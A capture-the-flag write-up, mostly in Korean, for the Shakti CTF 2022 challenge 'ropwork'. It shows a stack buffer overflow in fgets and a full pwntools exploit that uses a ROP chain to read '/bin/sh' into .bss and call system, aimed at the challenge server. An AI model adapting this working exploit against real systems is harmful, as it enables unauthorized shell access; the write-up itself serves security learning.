Shakti CTF 2022 - ropwork (hard)

Info

(9/387) solves

Hard

description

The fisherman is trying to untangle his fishing knots. If you could help him with it, it would be great!

Note:
The server is running on Ubuntu 20.04
The flag file found on the server is given a random name.
Author: d1g174l_f0rtr355

for player

1
ropework_460328c6-afec-4492-9b9f-97a1f35c71af: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./ld-2.31.so, for GNU/Linux 3.2.0, BuildID[sha1]=8186a401dd45223b37552a01bd54666547a11437, not stripped

Analysis

Mitigation

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fd000)

Source Code

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[16]; // [rsp+0h] [rbp-10h] BYREF

setvbuf(_bss_start, 0LL, 2, 0LL);
system("echo 'The fisherman is trying to untangle his fishing knots. If you could help him with it, it would be great!\n'");
fgets(s, 329, stdin);
system("echo 'Ok bye!\n'");
return 0;
}

대놓고 bof 터진다.

Vulnerability

fgets 함수에서 변수 사이즈보다 더 큰 값을 쓸 수 있어서 bof가 터진다.

Exploit

Exploit Scenario

bss + 0x20 에다가 /bin/sh 써주고 system 함수 인자로 이걸 줘서 실행시켰다.

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *

context.arch = 'amd64'
#context.log_level = 'DEBUG'

e = ELF('./chall')
#p = process('./chall')
p = remote('65.2.136.80', 31825)
libc = e.libc

ret = 0x40101a

xor_rax = 0x401182
pop_rdi = 0x401273
pop_rsi_r15 = 0x401271
xor_rdx_rbx = 0x040118e
syscall = 0x4011a2

payload = b''
payload += b'A' * (0x10+0x8)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(e.bss()+0x20) + p64(0)
payload += p64(xor_rdx_rbx)
payload += p64(xor_rax) # sys_read
payload += p64(syscall)

payload += b'A' * 0x8
payload += p64(e.sym['main'])

p.sendline(payload)

p.sendline('/bin/sh\x00')

payload = b''
payload += b'A' * (0x10+ 0x8)
payload += p64(pop_rdi) + p64(e.bss()+0x20)
payload += p64(ret)
payload += p64(e.sym['system'])

p.sendline(payload)

p.interactive()

tmi

처음에 csu 가젯으로 문제를 풀려고 했었는데 뭔가 잘 안되어서 다른 방법 생각해보다가 문제를 풀었다. 역시.. 롸업은 문제 풀고 바로바로 작성해야 생생하게 적을 수 있는 것 같다.. (다시 풀긴.. 좀..) 이제 롸업 안미루고 잘 적을 것이다..

아 그리고 이 씨텝에서 롸업으로 적은 세 문제 말고 easy 2문제와 meduim 한 문제가 있었다. easy는 너무 쉬워서 롸업 업로드를 안하려고 한다. (솔브가 거의 60~70이다.) medium은 못풀었는데 연결리스트 구현 관련된 문제이다. 연결리스트가 뭔지 까먹어서.. ctf 기간 때 연결리스트 공부했던 기억이 난다.
아무튼 이 씨텝에서 포너블이 총 6개였는데 한 문제 빼고 다 풀어서 기분이 굉장히 좋았다. 남은 연결리스트 관련 문제는 결국 롸업을 봤는데 heap에서 unsafe-unlink라는 기법을 사용하여 익스를 하는 문제이다. 개인적으로 heap 관련 문제는 내가 heap을 공부를 제대로 안했기 때문에 풀지 않는다.(?????) 평생 안할 계획은 아니고 내년으로 미뤄둬야지.